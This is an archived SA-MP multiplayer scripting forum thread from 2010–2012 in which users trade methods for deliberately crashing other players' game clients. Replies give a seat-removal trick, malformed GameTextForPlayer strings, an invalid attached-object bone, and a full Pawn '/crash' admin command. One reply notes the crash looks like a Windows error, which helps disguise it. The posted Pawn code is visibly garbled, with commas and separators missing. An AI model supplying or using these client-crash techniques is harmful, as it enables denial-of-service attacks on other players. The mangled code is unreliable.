SA-MP Forums Archive
Crashing someone? - Printable Version

+- SA-MP Forums Archive (https://sampforum.blast.hk)
+-- Forum: SA-MP Scripting and Plugins (https://sampforum.blast.hk/forumdisplay.php?fid=8)
+--- Forum: Scripting Help (https://sampforum.blast.hk/forumdisplay.php?fid=12)
+--- Thread: Crashing someone? (/showthread.php?tid=136458)



Crashing someone? - -PunisheR- - 25.03.2010

how to crash someone's game? the 0.3a version doesn't support the invaild objects anymore.
what to do?



Re: Crashing someone? - Flake. - 25.03.2010

Quote:
Originally Posted by -PunisheR-
how to crash someone's game? the 0.3a version doesn't support the invaild objects anymore.
what to do?
i dont really understand what your saying


Re: Crashing someone? - -PunisheR- - 25.03.2010

at 0.2X (version) I built a command that crashes someone game, like: /crash id - and he get's a crash.
I was doing that by creating an invaild object in his position.
at 0.3a when I do something like this nothing happenes.



Re: Crashing someone? - Rzzr - 25.03.2010

You have to put them in a vehicle with only 1 or 2 seats on seat 3(for example rustler) and then use RemovePlayerFromVehicle, which will make them step out using the door, but they can't, because they're in seat 3 which doesn't have a door, so they will crash


Re: Crashing someone? - ¤Adas¤ - 25.03.2010

The 100% working is this:

pawn Code:
GameTextForPlayer(playerid, "~k~~INVALID_KEY~", 100, 5);



Re: Crashing someone? - KaWavan - 27.04.2012

or this: SetPlayerAttachedObject(playerid, 1, 1, 0);
it will attach object to bone 0 which is invalid and it will crash the client
+ it looks like windows error! nice for anti cheats


Re: Crashing someone? - ViniBorn - 27.04.2012

pawn Code:
GameTextForPlayer(playerid, "іЈіІўЈ¬ІўІі~wwwwwwwwww",1000, 6);



Re: Crashing someone? - Crazymax - 27.04.2012

yes.. lets list all the methods you can crash sa-mp clients.. and try to find more creative ways


Re: Crashing someone? - tyler12 - 27.04.2012

and bump a 2 year old topic


Re: Crashing someone? - Dan_Barocu - 28.04.2012

or this

PHP Code:
    if(strcmp(cmd"/crash"true) == 0)
        {
        if(
IsPlayerConnected(playerid))
        {
        
tmp strtok(cmdtextidx);
        if(!
strlen(tmp))
        {
        
SendClientMessage(playeridCOLOR_GRAD2"SYNTAX: /crash [playerid/PartOfName]");
        return 
1;
        }
        
giveplayerid ReturnUser(tmp);
        
GetPlayerName(giveplayeridgiveplayersizeof(giveplayer));
        if (
PlayerInfo[playerid][pAdmin] >= 5)
        {
        if(
IsPlayerConnected(giveplayerid))
        {
            if(
giveplayerid != INVALID_PLAYER_ID)
            {
                if(
giveplayerid != playerid && Untouchable[giveplayerid]) return SendClientMessage(playeridCOLOR_GREY"* You Can't Do this on This player!");
                
GameTextForPlayer(giveplayerid"•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/"10000);
                
GameTextForPlayer(giveplayerid"•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/"20001);
                
GameTextForPlayer(giveplayerid"•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/"30002);
                
GameTextForPlayer(giveplayerid"•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/"40003);
                
GameTextForPlayer(giveplayerid"•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/"50004);
                
GameTextForPlayer(giveplayerid"•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/"60005);
                
GameTextForPlayer(giveplayerid"•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/"70006);
                
format(stringsizeof(string), "You have crashed %s (%d)'s game"giveplayer,giveplayerid);
                  
SendClientMessage(playerid,COLOR_DBLUEstring);
                return 
1;
            }
            else
            {
                
format(stringsizeof(string), "** Not Authorised!"giveplayerid);
                
SendClientMessage(playeridCOLOR_GRAD1string);
            }
        }
        }
        else
        {
        
format(stringsizeof(string), "** You are not Authorised to Use this Command!"giveplayerid);
        
SendClientMessage(playeridCOLOR_GRAD1string);
        }
        }
        return 
1;
        }